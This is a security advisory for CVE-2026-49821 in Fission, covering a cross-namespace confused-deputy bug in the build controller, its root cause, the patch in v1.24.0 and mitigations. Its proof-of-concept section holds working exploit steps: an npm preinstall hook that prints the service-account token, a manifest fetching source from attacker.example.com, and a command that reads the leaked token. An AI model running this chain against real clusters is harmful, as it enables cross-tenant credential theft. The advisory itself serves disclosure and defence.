high · 7.7CVE-2026-49821Jun 30, 2026

CVE-2026-49821: Fission Package Cross-Namespace Confused Deputy RCE and SA Token Exfiltration

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A Fission user in one Kubernetes namespace could trick the build controller into running their code inside another tenant's builder pod and leaking that namespace's service-account token, giving the…

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

Fission's buildermgr controller accepted Package CRDs without checking that Package.spec.environment.namespace matched Package.metadata.namespace. Any user with packages.fission.io/create in their own namespace could set spec.environment.namespace to a victim namespace.

The controller used its high-privilege service account to fetch the Environment cross-namespace, then dispatched the build command into the victim namespace's builder pod. Build stdout is written verbatim into Package.status.buildlog, so code running inside that pod could read the fission-builder Bearer token from /var/run/secrets/kubernetes.io/serviceaccount/token and surface it to the attacker.

Proof of concept

A working proof-of-concept for CVE-2026-49821 in github.com/fission/fission, with the exact payload below.

bash
# 1. Attacker creates a malicious npm package in their source archive.
# package.json in the source zip:
{
  "name": "pwn",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
  }
}

# 2. Attacker creates the cross-namespace Package (in namespace 'tenant-a',
#    pointing spec.environment.namespace at the victim namespace 'tenant-b'):
apiVersion: fission.io/v1
kind: Package
metadata:
  name: evil-pkg
  namespace: tenant-a
spec:
  environment:
    name: node           # a Node.js env that exists in tenant-b
    namespace: tenant-b  # <-- cross-namespace pivot; was never validated
  source:
    type: url
    url: http://attacker.example.com/evil-src.zip
  buildcmd: "npm install"

# 3. buildermgr fetches the Environment from tenant-b using the cluster-admin
#    service account, dispatches 'npm install' into tenant-b's builder pod.
#    The preinstall hook prints the fission-builder token.
#    Token appears in:
kubectl get package evil-pkg -n tenant-a -o jsonpath='{.status.buildlog}'

The root cause is missing authorization (CWE-862) combined with a confused-deputy pattern (CWE-441): buildermgr trusted the caller-supplied spec.environment.namespace field with no cross-namespace boundary check before performing privileged Kubernetes API calls on behalf of the Package author.

The patch adds a namespace equality check in both the admission webhook (pkg/webhook/package.go::Validate) and the controller itself (pkg/buildermgr/pkgwatcher.go::build and pkg/buildermgr/common.go::buildPackage). The controller-side check acts as defence-in-depth for clusters where the webhook is configured with failurePolicy: Ignore or bypassed by a stale cached object.

An empty spec.environment.namespace is still accepted and is defaulted to the Package's own namespace by the controllers.

The fix

Upgrade to Fission v1.24.0 (PR #3379, commit e2b9266). After upgrading, any Package with spec.environment.namespace set to a different namespace than metadata.namespace is rejected at admission. Review existing Package CRDs and remove cross-namespace environment references before upgrading.

If you cannot upgrade immediately, add a validating admission policy (or OPA/Kyverno rule) that enforces spec.environment.namespace == metadata.namespace || spec.environment.namespace == ''.

Reported by Sanket Sudake (@sanketsudake).

References: [1][2][3][4][5][6]

Related research